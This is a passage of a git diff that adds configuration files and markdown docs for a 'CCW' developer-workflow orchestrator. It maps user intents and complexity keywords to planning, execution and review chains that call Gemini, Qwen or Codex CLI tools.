+    "exploration": {
+      "priority": 3,
+      "description": "探索/不确定意图",
+      "patterns": ["不确定", "不知道", "explore", "研究", "分析一下", "怎么做", "what if", "should i", "探索", "可能", "或许", "建议"],
+      "workflow": "brainstorm → plan → execute"
+    },
+    "ui_design": {
+      "priority": 4,
+      "description": "UI/设计意图",
+      "patterns": ["ui", "界面", "design", "设计", "component", "组件", "style", "样式", "layout", "布局", "前端", "frontend", "页面"],
+      "variants": {
+        "imitate": {
+          "triggers": ["参考", "模仿", "像", "类似", "reference", "like"],
+          "workflow": "ui-design:imitate-auto → plan → execute"
+        },
+        "explore": {
+          "triggers": [],
+          "workflow": "ui-design:explore-auto → plan → execute"
+        }
+      }
+    },
+    "tdd": {
+      "priority": 5,
+      "description": "测试驱动开发意图",
+      "patterns": ["tdd", "test-driven", "测试驱动", "先写测试", "red-green", "test first"],
+      "workflow": "tdd-plan → execute → tdd-verify"
+    },
+    "review": {
+      "priority": 6,
+      "description": "代码审查意图",
+      "patterns": ["review", "审查", "检查代码", "code review", "质量检查", "安全审查"],
+      "workflow": "review-session-cycle → review-fix"
+    },
+    "documentation": {
+      "priority": 7,
+      "description": "文档生成意图",
+      "patterns": ["文档", "documentation", "docs", "readme", "注释", "api doc", "说明"],
+      "variants": {
+        "incremental": {
+          "triggers": ["更新", "增量", "相关"],
+          "workflow": "memory:update-related"
+        },
+        "full": {
+          "triggers": ["全部", "完整", "所有"],
+          "workflow": "memory:docs → execute"
+        }
+      }
+    }
+  },
+  "complexity_indicators": {
+    "high": {
+      "score_threshold": 4,
+      "patterns": {
+        "architecture": {
+          "keywords": ["refactor", "重构", "migrate", "迁移", "architect", "架构", "system", "系统"],
+          "weight": 2
+        },
+        "multi_module": {
+          "keywords": ["multiple", "多个", "across", "跨", "all", "所有", "entire", "整个"],
+          "weight": 2
+        },
+        "integration": {
+          "keywords": ["integrate", "集成", "connect", "连接", "api", "database", "数据库"],
+          "weight": 1
+        },
+        "quality": {
+          "keywords": ["security", "安全", "performance", "性能", "scale", "扩展", "优化"],
+          "weight": 1
+        }
+      },
+      "workflow": "plan → verify → execute"
+    },
+    "medium": {
+      "score_threshold": 2,
+      "workflow": "lite-plan → lite-execute"
+    },
+    "low": {
+      "score_threshold": 0,
+      "workflow": "lite-plan → lite-execute"
+    }
+  },
+  "cli_tool_triggers": {
+    "gemini": {
+      "explicit": ["用 gemini", "gemini 分析", "让 gemini", "用gemini"],
+      "semantic": ["深度分析", "架构理解", "执行流追踪", "根因分析"]
+    },
+    "qwen": {
+      "explicit": ["用 qwen", "qwen 评估", "让 qwen", "用qwen"],
+      "semantic": ["第二视角", "对比验证", "模式识别"]
+    },
+    "codex": {
+      "explicit": ["用 codex", "codex 实现", "让 codex", "用codex"],
+      "semantic": ["自主完成", "批量修改", "自动实现"]
+    }
+  },
+  "fallback_rules": {
+    "no_match": {
+      "default_workflow": "lite-plan → lite-execute",
+      "use_complexity_assessment": true
+    },
+    "ambiguous": {
+      "action": "ask_user",
+      "message": "检测到多个可能意图，请确认工作流选择"
+    }
+  }
+}

.claude/skills/ccw/index/workflow-chains.json

@@ -0,0 +1,451 @@
+{
+  "_metadata": {
+    "version": "1.1.0",
+    "description": "Predefined workflow chains with CLI tool integration for CCW orchestration"
+  },
+  "cli_tools": {
+    "_doc": "CLI工具是CCW的核心能力，在合适时机自动调用以获得：1)较少token获取大量上下文 2)引入不同模型视角 3)增强debug和规划能力",
+    "gemini": {
+      "strengths": ["超长上下文", "深度分析", "架构理解", "执行流追踪"],
+      "triggers": ["分析", "理解", "设计", "架构", "评估", "诊断"],
+      "mode": "analysis",
+      "token_efficiency": "high",
+      "use_when": [
+        "需要理解大型代码库结构",
+        "执行流追踪和数据流分析",
+        "架构设计和技术方案评估",
+        "复杂问题诊断（root cause analysis）"
+      ]
+    },
+    "qwen": {
+      "strengths": ["超长上下文", "代码模式识别", "多维度分析"],
+      "triggers": ["评估", "对比", "验证"],
+      "mode": "analysis",
+      "token_efficiency": "high",
+      "use_when": [
+        "Gemini 不可用时作为备选",
+        "需要第二视角验证分析结果",
+        "代码模式识别和重复检测"
+      ]
+    },
+    "codex": {
+      "strengths": ["精确代码生成", "自主执行", "数学推理"],
+      "triggers": ["实现", "重构", "修复", "生成", "测试"],
+      "mode": "write",
+      "token_efficiency": "medium",
+      "use_when": [
+        "需要自主完成多步骤代码修改",
+        "复杂重构和迁移任务",
+        "测试生成和修复循环"
+      ]
+    }
+  },
+  "cli_injection_rules": {
+    "_doc": "隐式规则：在特定条件下自动注入CLI调用",
+    "context_gathering": {
+      "trigger": "file_read >= 50k chars OR module_count >= 5",
+      "inject": "gemini --mode analysis",
+      "reason": "大量代码上下文使用CLI可节省主会话token"
+    },
+    "pre_planning_analysis": {
+      "trigger": "complexity === 'high' OR intent === 'exploration'",
+      "inject": "gemini --mode analysis",
+      "reason": "复杂任务先用CLI分析获取多模型视角"
+    },
+    "debug_diagnosis": {
+      "trigger": "intent === 'bugfix' AND root_cause_unclear",
+      "inject": "gemini --mode analysis",
+      "reason": "深度诊断利用Gemini的执行流追踪能力"
+    },
+    "code_review": {
+      "trigger": "step === 'review'",
+      "inject": "gemini --mode analysis",
+      "reason": "代码审查用CLI减少token占用"
+    },
+    "implementation": {
+      "trigger": "step === 'execute' AND task_count >= 3",
+      "inject": "codex --mode write",
+      "reason": "多任务执行用Codex自主完成"
+    }
+  },
+  "chains": {
+    "rapid": {
+      "name": "Rapid Iteration",
+      "description": "多模型协作分析 + 直接执行",
+      "complexity": ["low", "medium"],
+      "steps": [
+        { 
+          "command": "/workflow:lite-plan", 
+          "optional": false, 
+          "auto_continue": true,
+          "cli_hint": {
+            "explore_phase": { "tool": "gemini", "mode": "analysis", "trigger": "needs_exploration" },
+            "planning_phase": { "tool": "gemini", "mode": "analysis", "trigger": "complexity >= medium" }
+          }
+        },
+        { 
+          "command": "/workflow:lite-execute", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "execution": { "tool": "codex", "mode": "write", "trigger": "user_selects_codex OR complexity >= medium" },
+            "review": { "tool": "gemini", "mode": "analysis", "trigger": "user_selects_review" }
+          }
+        }
+      ],
+      "total_steps": 2,
+      "estimated_time": "15-45 min"
+    },
+    "full": {
+      "name": "Full Exploration",
+      "description": "多模型深度分析 + 头脑风暴 + 规划 + 执行",
+      "complexity": ["medium", "high"],
+      "steps": [
+        { 
+          "command": "/workflow:brainstorm:auto-parallel", 
+          "optional": false, 
+          "confirm_before": true,
+          "cli_hint": {
+            "role_analysis": { "tool": "gemini", "mode": "analysis", "trigger": "always", "parallel": true }
+          }
+        },
+        { 
+          "command": "/workflow:plan", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "context_gather": { "tool": "gemini", "mode": "analysis", "trigger": "always" },
+            "task_generation": { "tool": "gemini", "mode": "analysis", "trigger": "always" }
+          }
+        },
+        { "command": "/workflow:action-plan-verify", "optional": true, "auto_continue": true },
+        { 
+          "command": "/workflow:execute", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "execution": { "tool": "codex", "mode": "write", "trigger": "task_count >= 3" }
+          }
+        }
+      ],
+      "total_steps": 4,
+      "estimated_time": "1-3 hours"
+    },
+    "coupled": {
+      "name": "Coupled Planning",
+      "description": "CLI深度分析 + 完整规划 + 验证 + 执行",
+      "complexity": ["high"],
+      "steps": [
+        { 
+          "command": "/workflow:plan", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "pre_analysis": { "tool": "gemini", "mode": "analysis", "trigger": "always", "purpose": "架构理解和依赖分析" },
+            "conflict_detection": { "tool": "gemini", "mode": "analysis", "trigger": "always" }
+          }
+        },
+        { "command": "/workflow:action-plan-verify", "optional": false, "auto_continue": true },
+        { 
+          "command": "/workflow:execute", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "execution": { "tool": "codex", "mode": "write", "trigger": "always", "purpose": "自主多任务执行" }
+          }
+        },
+        { 
+          "command": "/workflow:review", 
+          "optional": true, 
+          "auto_continue": false,
+          "cli_hint": {
+            "review": { "tool": "gemini", "mode": "analysis", "trigger": "always" }
+          }
+        }
+      ],
+      "total_steps": 4,
+      "estimated_time": "2-4 hours"
+    },
+    "bugfix": {
+      "name": "Bug Fix",
+      "description": "CLI诊断 + 智能修复",
+      "complexity": ["low", "medium"],
+      "variants": {
+        "standard": {
+          "steps": [
+            { 
+              "command": "/workflow:lite-fix", 
+              "optional": false, 
+              "auto_continue": true,
+              "cli_hint": {
+                "diagnosis": { "tool": "gemini", "mode": "analysis", "trigger": "always", "purpose": "根因分析和执行流追踪" },
+                "fix": { "tool": "codex", "mode": "write", "trigger": "severity >= medium" }
+              }
+            }
+          ]
+        },
+        "hotfix": {
+          "steps": [
+            { 
+              "command": "/workflow:lite-fix --hotfix", 
+              "optional": false, 
+              "auto_continue": true,
+              "cli_hint": {
+                "quick_diagnosis": { "tool": "gemini", "mode": "analysis", "trigger": "always", "timeout": "60s" }
+              }
+            }
+          ]
+        }
+      },
+      "total_steps": 1,
+      "estimated_time": "10-30 min"
+    },
+    "issue": {
+      "name": "Issue Batch",
+      "description": "CLI批量分析 + 队列优化 + 并行执行",
+      "complexity": ["medium", "high"],
+      "steps": [
+        { 
+          "command": "/issue:plan", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "solution_generation": { "tool": "gemini", "mode": "analysis", "trigger": "always", "parallel": true }
+          }
+        },
+        { 
+          "command": "/issue:queue", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "conflict_analysis": { "tool": "gemini", "mode": "analysis", "trigger": "issue_count >= 3" }
+          }
+        },
+        { 
+          "command": "/issue:execute", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "batch_execution": { "tool": "codex", "mode": "write", "trigger": "always", "purpose": "DAG并行执行" }
+          }
+        }
+      ],
+      "total_steps": 3,
+      "estimated_time": "1-4 hours"
+    },
+    "tdd": {
+      "name": "Test-Driven Development",
+      "description": "TDD规划 + 执行 + CLI验证",
+      "complexity": ["medium", "high"],
+      "steps": [
+        { 
+          "command": "/workflow:tdd-plan", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "test_strategy": { "tool": "gemini", "mode": "analysis", "trigger": "always" }
+          }
+        },
+        { 
+          "command": "/workflow:execute", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "red_green_refactor": { "tool": "codex", "mode": "write", "trigger": "always" }
+          }
+        },
+        { 
+          "command": "/workflow:tdd-verify", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "coverage_analysis": { "tool": "gemini", "mode": "analysis", "trigger": "always" }
+          }
+        }
+      ],
+      "total_steps": 3,
+      "estimated_time": "1-3 hours"
+    },
+    "ui": {
+      "name": "UI-First Development",
+      "description": "UI设计 + 规划 + 执行",
+      "complexity": ["medium", "high"],
+      "variants": {
+        "explore": {
+          "steps": [
+            { "command": "/workflow:ui-design:explore-auto", "optional": false, "auto_continue": false },
+            { "command": "/workflow:ui-design:design-sync", "optional": false, "auto_continue": true },
+            { "command": "/workflow:plan", "optional": false, "auto_continue": false },
+            { "command": "/workflow:execute", "optional": false, "auto_continue": false }
+          ]
+        },
+        "imitate": {
+          "steps": [
+            { "command": "/workflow:ui-design:imitate-auto", "optional": false, "auto_continue": false },
+            { "command": "/workflow:ui-design:design-sync", "optional": false, "auto_continue": true },
+            { "command": "/workflow:plan", "optional": false, "auto_continue": false },
+            { "command": "/workflow:execute", "optional": false, "auto_continue": false }
+          ]
+        }
+      },
+      "total_steps": 4,
+      "estimated_time": "2-4 hours"
+    },
+    "review-fix": {
+      "name": "Review and Fix",
+      "description": "CLI多维审查 + 自动修复",
+      "complexity": ["medium"],
+      "steps": [
+        { 
+          "command": "/workflow:review-session-cycle", 
+          "optional": false, 
+          "auto_continue": false,
+          "cli_hint": {
+            "multi_dimension_review": { "tool": "gemini", "mode": "analysis", "trigger": "always", "parallel": true }
+          }
+        },
+        { 
+          "command": "/workflow:review-fix", 
+          "optional": true, 
+          "auto_continue": false,
+          "cli_hint": {
+            "auto_fix": { "tool": "codex", "mode": "write", "trigger": "findings_count >= 3" }
+          }
+        }
+      ],
+      "total_steps": 2,
+      "estimated_time": "30-90 min"
+    },
+    "docs": {
+      "name": "Documentation",
+      "description": "CLI批量文档生成",
+      "complexity": ["low", "medium"],
+      "variants": {
+        "incremental": {
+          "steps": [
+            { 
+              "command": "/memory:update-related", 
+              "optional": false, 
+              "auto_continue": false,
+              "cli_hint": {
+                "doc_generation": { "tool": "gemini", "mode": "write", "trigger": "module_count >= 5" }
+              }
+            }
+          ]
+        },
+        "full": {
+          "steps": [
+            { "command": "/memory:docs", "optional": false, "auto_continue": false },
+            { 
+              "command": "/workflow:execute", 
+              "optional": false, 
+              "auto_continue": false,
+              "cli_hint": {
+                "batch_doc": { "tool": "gemini", "mode": "write", "trigger": "always" }
+              }
+            }
+          ]
+        }
+      },
+      "total_steps": 2,
+      "estimated_time": "15-60 min"
+    },
+    "cli-analysis": {
+      "name": "CLI Direct Analysis",
+      "description": "直接CLI分析，获取多模型视角，节省主会话token",
+      "complexity": ["low", "medium", "high"],
+      "standalone": true,
+      "steps": [
+        {
+          "command": "ccw cli",
+          "tool": "gemini",
+          "mode": "analysis",
+          "optional": false,
+          "auto_continue": false
+        }
+      ],
+      "use_cases": [
+        "大型代码库快速理解",
+        "执行流追踪和数据流分析",
+        "架构评估和技术方案对比",
+        "性能瓶颈诊断"
+      ],
+      "total_steps": 1,
+      "estimated_time": "5-15 min"
+    },
+    "cli-implement": {
+      "name": "CLI Direct Implementation",
+      "description": "直接Codex实现，自主完成多步骤任务",
+      "complexity": ["medium", "high"],
+      "standalone": true,
+      "steps": [
+        {
+          "command": "ccw cli",
+          "tool": "codex",
+          "mode": "write",
+          "optional": false,
+          "auto_continue": false
+        }
+      ],
+      "use_cases": [
+        "明确需求的功能实现",
+        "代码重构和迁移",
+        "测试生成",
+        "批量代码修改"
+      ],
+      "total_steps": 1,
+      "estimated_time": "15-60 min"
+    },
+    "cli-debug": {
+      "name": "CLI Debug Session",
+      "description": "CLI调试会话，利用Gemini深度诊断能力",
+      "complexity": ["medium", "high"],
+      "standalone": true,
+      "steps": [
+        {
+          "command": "ccw cli",
+          "tool": "gemini",
+          "mode": "analysis",
+          "purpose": "hypothesis-driven debugging",
+          "optional": false,
+          "auto_continue": false
+        }
+      ],
+      "use_cases": [
+        "复杂bug根因分析",
+        "执行流异常追踪",
+        "状态机错误诊断",
+        "并发问题排查"
+      ],
+      "total_steps": 1,
+      "estimated_time": "10-30 min"
+    }
+  },
+  "chain_selection_rules": {
+    "intent_mapping": {
+      "bugfix": ["bugfix"],
+      "feature_simple": ["rapid"],
+      "feature_unclear": ["full"],
+      "feature_complex": ["coupled"],
+      "issue_batch": ["issue"],
+      "test_driven": ["tdd"],
+      "ui_design": ["ui"],
+      "code_review": ["review-fix"],
+      "documentation": ["docs"],
+      "analysis_only": ["cli-analysis"],
+      "implement_only": ["cli-implement"],
+      "debug": ["cli-debug", "bugfix"]
+    },
+    "complexity_fallback": {
+      "low": "rapid",
+      "medium": "coupled",
+      "high": "full"
+    },
+    "cli_preference_rules": {
+      "_doc": "用户语义触发CLI工具选择",
+      "gemini_triggers": ["用 gemini", "gemini 分析", "让 gemini", "深度分析", "架构理解"],
+      "qwen_triggers": ["用 qwen", "qwen 评估", "让 qwen", "第二视角"],
+      "codex_triggers": ["用 codex", "codex 实现", "让 codex", "自主完成", "批量修改"]
+    }
+  }
+}

.claude/skills/ccw/phases/actions/bugfix.md

@@ -0,0 +1,218 @@
+# Action: Bugfix Workflow
+
+缺陷修复工作流：智能诊断 + 影响评估 + 修复
+
+## Pattern
+
+```
+lite-fix [--hotfix]
+```
+
+## Trigger Conditions
+
+- Keywords: "fix", "bug", "error", "crash", "broken", "fail", "修复", "报错"
+- Problem symptoms described
+- Error messages present
+
+## Execution Flow
+
+### Standard Mode
+
+```mermaid
+sequenceDiagram
+    participant U as User
+    participant O as CCW Orchestrator
+    participant LF as lite-fix
+    participant CLI as CLI Tools
+    
+    U->>O: Bug description
+    O->>O: Classify: bugfix (standard)
+    O->>LF: /workflow:lite-fix "bug"
+    
+    Note over LF: Phase 1: Diagnosis
+    LF->>CLI: Root cause analysis (Gemini)
+    CLI-->>LF: diagnosis.json
+    
+    Note over LF: Phase 2: Impact Assessment
+    LF->>LF: Risk scoring (0-10)
+    LF->>LF: Severity classification
+    LF-->>U: Impact report
+    
+    Note over LF: Phase 3: Fix Strategy
+    LF->>LF: Generate fix options
+    LF-->>U: Present strategies
+    U->>LF: Select strategy
+    
+    Note over LF: Phase 4: Verification Plan
+    LF->>LF: Generate test plan
+    LF-->>U: Verification approach
+    
+    Note over LF: Phase 5: Confirmation
+    LF->>U: Execution method?
+    U->>LF: Confirm
+    
+    Note over LF: Phase 6: Execute
+    LF->>CLI: Execute fix (Agent/Codex)
+    CLI-->>LF: Results
+    LF-->>U: Fix complete
+```
+
+### Hotfix Mode
+
+```mermaid
+sequenceDiagram
+    participant U as User
+    participant O as CCW Orchestrator
+    participant LF as lite-fix
+    participant CLI as CLI Tools
+    
+    U->>O: Urgent bug + "hotfix"
+    O->>O: Classify: bugfix (hotfix)
+    O->>LF: /workflow:lite-fix --hotfix "bug"
+    
+    Note over LF: Minimal Diagnosis
+    LF->>CLI: Quick root cause
+    CLI-->>LF: Known issue?
+    
+    Note over LF: Surgical Fix
+    LF->>LF: Single optimal fix
+    LF-->>U: Quick confirmation
+    U->>LF: Proceed
+    
+    Note over LF: Smoke Test
+    LF->>CLI: Minimal verification
+    CLI-->>LF: Pass/Fail
+    
+    Note over LF: Follow-up Generation
+    LF->>LF: Generate follow-up tasks
+    LF-->>U: Fix deployed + follow-ups created
+```
+
+## When to Use
+
+### Standard Mode (/workflow:lite-fix)
+✅ **Use for**:
+- 已知症状的 Bug
+- 本地化修复（1-5 文件）
+- 非紧急问题
+- 需要完整诊断
+
+### Hotfix Mode (/workflow:lite-fix --hotfix)
+✅ **Use for**:
+- 生产事故
+- 紧急修复
+- 明确的单点故障
+- 时间敏感
+
+❌ **Don't use** (for either mode):
+- 需要架构变更 → `/workflow:plan --mode bugfix`
+- 多个相关问题 → `/issue:plan`
+
+## Severity Classification
+
+| Score | Severity | Response | Verification |
+|-------|----------|----------|--------------|
+| 8-10 | Critical | Immediate | Smoke test only |
+| 6-7.9 | High | Fast track | Integration tests |
+| 4-5.9 | Medium | Normal | Full test suite |
+| 0-3.9 | Low | Scheduled | Comprehensive |
+
+## Configuration
+
+```javascript
+const bugfixConfig = {
+  standard: {
+    diagnosis: {
+      tool: 'gemini',
+      depth: 'comprehensive',
+      timeout: 300000  // 5 min
+    },
+    impact: {
+      riskThreshold: 6.0,  // High risk threshold
+      autoEscalate: true
+    },
+    verification: {
+      levels: ['smoke', 'integration', 'full'],
+      autoSelect: true  // Based on severity
+    }
+  },
+  
+  hotfix: {
+    diagnosis: {
+      tool: 'gemini',
+      depth: 'minimal',
+      timeout: 60000  // 1 min
+    },
+    fix: {
+      strategy: 'single',  // Single optimal fix
+      surgical: true
+    },
+    followup: {
+      generate: true,
+      types: ['comprehensive-fix', 'post-mortem']
+    }
+  }
+}
+```
+
+## Example Invocations
+
+```bash
+# Standard bug fix
+ccw "用户头像上传失败，返回 413 错误"
+→ lite-fix
+→ Diagnosis: File size limit in nginx
+→ Impact: 6.5 (High)
+→ Fix: Update nginx config + add client validation
+→ Verify: Integration test
+
+# Production hotfix
+ccw "紧急：支付网关返回 5xx 错误，影响所有用户"
+→ lite-fix --hotfix
+→ Quick diagnosis: API key expired
+→ Surgical fix: Rotate key
+→ Smoke test: Payment flow
+→ Follow-ups: Key rotation automation, monitoring alert
+
+# Unknown root cause
+ccw "购物车随机丢失商品，原因不明"
+→ lite-fix
+→ Deep diagnosis (auto)
+→ Root cause: Race condition in concurrent updates
+→ Fix: Add optimistic locking
+→ Verify: Concurrent test suite
+```
+
+## Output Artifacts
+
+```
+.workflow/.lite-fix/{bug-slug}-{timestamp}/
+├── diagnosis.json       # Root cause analysis
+├── impact.json          # Risk assessment
+├── fix-plan.json        # Fix strategy
+├── task.json            # Enhanced task for execution
+└── followup.json        # Follow-up tasks (hotfix only)
+```
+
+## Follow-up Tasks (Hotfix Mode)
+
+```json
+{
+  "followups": [
+    {
+      "id": "FOLLOWUP-001",
+      "type": "comprehensive-fix",
+      "title": "Complete fix for payment gateway issue",
+      "due": "3 days",
+      "description": "Implement full solution with proper error handling"
+    },
+    {
+      "id": "FOLLOWUP-002",
+      "type": "post-mortem",
+      "title": "Post-mortem analysis",
+      "due": "1 week",
+      "description": "Document incident and prevention measures"
+    }
+  ]
+}
+```

.claude/skills/ccw/phases/actions/coupled.md

@@ -0,0 +1,194 @@
+# Action: Coupled Workflow
+
+复杂耦合工作流：完整规划 + 验证 + 执行
+
+## Pattern
+
+```
+plan → action-plan-verify → execute
+```
+
+## Trigger Conditions
+
+- Complexity: High
+- Keywords: "refactor", "重构", "migrate", "迁移", "architect", "架构"
+- Cross-module changes
+- System-level modifications
+
+## Execution Flow
+
+```mermaid
+sequenceDiagram
+    participant U as User
+    participant O as CCW Orchestrator
+    participant PL as plan
+    participant VF as verify
+    participant EX as execute
+    participant RV as review
+    
+    U->>O: Complex task
+    O->>O: Classify: coupled (high complexity)
+    
+    Note over PL: Phase 1: Comprehensive Planning
+    O->>PL: /workflow:plan
+    PL->>PL: Multi-phase planning
+    PL->>PL: Generate IMPL_PLAN.md
+    PL->>PL: Generate task JSONs
+    PL-->>U: Present plan
+    
+    Note over VF: Phase 2: Verification
+    U->>VF: /workflow:action-plan-verify
+    VF->>VF: Cross-artifact consistency
+    VF->>VF: Dependency validation
+    VF->>VF: Quality gate checks
+    VF-->>U: Verification report
+    
+    alt Verification failed
+        U->>PL: Replan with issues
+    else Verification passed
+        Note over EX: Phase 3: Execution
+        U->>EX: /workflow:execute
+        EX->>EX: DAG-based parallel execution
+        EX-->>U: Execution complete
+    end
+    
+    Note over RV: Phase 4: Review
+    U->>RV: /workflow:review
+    RV-->>U: Review findings
+```
+
+## When to Use
+
+✅ **Ideal scenarios**:
+- 大规模重构
+- 架构迁移
+- 跨模块功能开发
+- 技术栈升级
+- 团队协作项目
+
+❌ **Avoid when**:
+- 简单的局部修改
+- 时间紧迫
+- 独立的小功能
+
+## Verification Checks
+
+| Check | Description | Severity |
+|-------|-------------|----------|
+| Dependency Cycles | 检测循环依赖 | Critical |
+| Missing Tasks | 计划与实际不符 | High |
+| File Conflicts | 多任务修改同文件 | Medium |
+| Coverage Gaps | 未覆盖的需求 | Medium |
+
+## Configuration
+
+```javascript
+const coupledConfig = {
+  plan: {
+    phases: 5,  // Full 5-phase planning
+    taskGeneration: 'action-planning-agent',
+    outputFormat: {
+      implPlan: '.workflow/plans/IMPL_PLAN.md',
+      taskJsons: '.workflow/tasks/IMPL-*.json'
+    }
+  },
+  
+  verify: {
+    required: true,  // Always verify before execute
+    autoReplan: false,  // Manual replan on failure
+    qualityGates: ['no-cycles', 'no-conflicts', 'complete-coverage']
+  },
+  
+  execute: {
+    dagParallel: true,
+    checkpointInterval: 3,  // Checkpoint every 3 tasks
+    rollbackOnFailure: true
+  },
+  
+  review: {
+    types: ['architecture', 'security'],
+    required: true
+  }
+}
+```
+
+## Task JSON Structure
+
+```json
+{
+  "id": "IMPL-001",
+  "title": "重构认证模块核心逻辑",
+  "scope": "src/auth/**",
+  "action": "refactor",
+  "depends_on": [],
+  "modification_points": [
+    {
+      "file": "src/auth/service.ts",
+      "target": "AuthService",
+      "change": "Extract OAuth2 logic"
+    }
+  ],
+  "acceptance": [
+    "所有现有测试通过",
+    "OAuth2 流程可用"
+  ]
+}
+```
+
+## Example Invocations
+
+```bash
+# Architecture refactoring
+ccw "重构整个认证模块，从 session 迁移到 JWT"
+→ plan (5 phases)
+→ verify
+→ execute
+
+# System migration
+ccw "将数据库从 MySQL 迁移到 PostgreSQL"
+→ plan (migration strategy)
+→ verify (data integrity checks)
+→ execute (staged migration)
+
+# Cross-module feature
+ccw "实现跨服务的分布式事务支持"
+→ plan (architectural design)
+→ verify (consistency checks)
+→ execute (incremental rollout)
+```
+
+## Output Artifacts
+
+```
+.workflow/
+├── plans/
+│   └── IMPL_PLAN.md           # Comprehensive plan
+├── tasks/
+│   ├── IMPL-001.json
+│   ├── IMPL-002.json
+│   └── ...
+├── verify/
+│   └── verification-report.md  # Verification results
+└── reviews/
+    └── {review-type}.md        # Review findings
+```
+
+## Replan Flow
+
+When verification fails:
+
+```javascript
+if (verificationResult.status === 'failed') {
+  console.log(`
+## Verification Failed
+
+**Issues found**:
+${verificationResult.issues.map(i => `- ${i.severity}: ${i.message}`).join('\n')}
+
+**Options**:
+1. /workflow:replan - Address issues and regenerate plan
+2. /workflow:plan --force - Proceed despite issues (not recommended)
+3. Review issues manually and fix plan files
+`)
+}
+```

.claude/skills/ccw/phases/actions/docs.md

@@ -0,0 +1,93 @@
+# Documentation Workflow Action
+
+## Pattern
+```
+memory:docs → execute  (full)
+memory:update-related  (incremental)
+```
+
+## Trigger Conditions
+
+- 关键词: "文档", "documentation", "docs", "readme", "注释"
+- 变体触发:
+  - `incremental`: "更新", "增量", "相关"
+  - `full`: "全部", "完整", "所有"
+
+## Variants
+
+### Full Documentation
+```mermaid
+graph TD
+    A[User Input] --> B[memory:docs]
+    B --> C[项目结构分析]
+    C --> D[模块分组 ≤10/task]
+    D --> E[execute: 并行生成]
+    E --> F[README.md]
+    E --> G[ARCHITECTURE.md]
+    E --> H[API Docs]
+    E --> I[Module CLAUDE.md]
+```
+
+### Incremental Update
+```mermaid
+graph TD
+    A[Git Changes] --> B[memory:update-related]
+    B --> C[变更模块检测]
+    C --> D[相关文档定位]
+    D --> E[增量更新]
+```
+
+## Configuration
+
+| 参数 | 默认值 | 说明 |
+|------|--------|------|
+| batch_size | 4 | 每agent处理模块数 |
+| format | markdown | 输出格式 |
+| include_api | true | 生成API文档 |
+| include_diagrams | true | 生成Mermaid图 |
+
+## CLI Integration
+
+| 阶段 | CLI Hint | 用途 |
+|------|----------|------|
+| memory:docs | `gemini --mode analysis` | 项目结构分析 |
+| execute | `gemini --mode write` | 文档生成 |
+| update-related | `gemini --mode write` | 增量更新 |
+
+## Slash Commands
+
+```bash
+/memory:docs              # 规划全量文档生成
+/memory:docs-full-cli     # CLI执行全量文档
+/memory:docs-related-cli  # CLI执行增量文档
+/memory:update-related    # 更新变更相关文档
+/memory:update-full       # 更新所有CLAUDE.md
+```
+
+## Output Structure
+
+```
+project/
+├── README.md              # 项目概览
+├── ARCHITECTURE.md        # 架构文档
+├── docs/
+│   └── api/               # API文档
+└── src/
+    └── module/
+        └── CLAUDE.md      # 模块文档
+```
+
+## When to Use
+
+- 新项目初始化文档
+- 大版本发布前文档更新
+- 代码变更后同步文档
+- API文档生成
+
+## Risk Assessment
+
+| 风险 | 缓解措施 |
+|------|----------|
+| 文档与代码不同步 | git hook集成 |
+| 生成内容过于冗长 | batch_size控制 |
+| 遗漏重要模块 | 全量扫描验证 |

.claude/skills/ccw/phases/actions/full.md

@@ -0,0 +1,154 @@
+# Action: Full Workflow
+
+完整探索工作流：分析 + 头脑风暴 + 规划 + 执行
+
+## Pattern
+
+```
+brainstorm:auto-parallel → plan → [verify] → execute
+```
+
+## Trigger Conditions
+
+- Intent: Exploration (uncertainty detected)
+- Keywords: "不确定", "不知道", "explore", "怎么做", "what if"
+- No clear implementation path
+
+## Execution Flow
+
+```mermaid
+sequenceDiagram
+    participant U as User
+    participant O as CCW Orchestrator
+    participant BS as brainstorm
+    participant PL as plan
+    participant VF as verify
+    participant EX as execute
+    
+    U->>O: Unclear task
+    O->>O: Classify: full
+    
+    Note over BS: Phase 1: Brainstorm
+    O->>BS: /workflow:brainstorm:auto-parallel
+    BS->>BS: Multi-role parallel analysis
+    BS->>BS: Synthesis & recommendations
+    BS-->>U: Present options
+    U->>BS: Select direction
+    
+    Note over PL: Phase 2: Plan
+    BS->>PL: /workflow:plan
+    PL->>PL: Generate IMPL_PLAN.md
+    PL->>PL: Generate task JSONs
+    PL-->>U: Review plan
+    
+    Note over VF: Phase 3: Verify (optional)
+    U->>VF: /workflow:action-plan-verify
+    VF->>VF: Cross-artifact consistency
+    VF-->>U: Verification report
+    
+    Note over EX: Phase 4: Execute
+    U->>EX: /workflow:execute
+    EX->>EX: DAG-based parallel execution
+    EX-->>U: Execution complete
+```
+
+## When to Use
+
+✅ **Ideal scenarios**:
+- 产品方向探索
+- 技术选型评估
+- 架构设计决策
+- 复杂功能规划
+- 需要多角色视角
+
+❌ **Avoid when**:
+- 任务明确简单
+- 时间紧迫
+- 已有成熟方案
+
+## Brainstorm Roles
+
+| Role | Focus | Typical Questions |
+|------|-------|-------------------|
+| Product Manager | 用户价值、市场定位 | "用户痛点是什么？" |
+| System Architect | 技术方案、架构设计 | "如何保证可扩展性？" |
+| UX Expert | 用户体验、交互设计 | "用户流程是否顺畅？" |
+| Security Expert | 安全风险、合规要求 | "有哪些安全隐患？" |
+| Data Architect | 数据模型、存储方案 | "数据如何组织？" |
+
+## Configuration
+
+```javascript
+const fullConfig = {
+  brainstorm: {
+    defaultRoles: ['product-manager', 'system-architect', 'ux-expert'],
+    maxRoles: 5,
+    synthesis: true  // Always generate synthesis
+  },
+  
+  plan: {
+    verifyBeforeExecute: true,  // Recommend verification
+    taskFormat: 'json'  // Generate task JSONs
+  },
+  
+  execute: {
+    dagParallel: true,  // DAG-based parallel execution
+    testGeneration: 'optional'  // Suggest test-gen after
+  }
+}
+```
+
+## Continuation Points
+
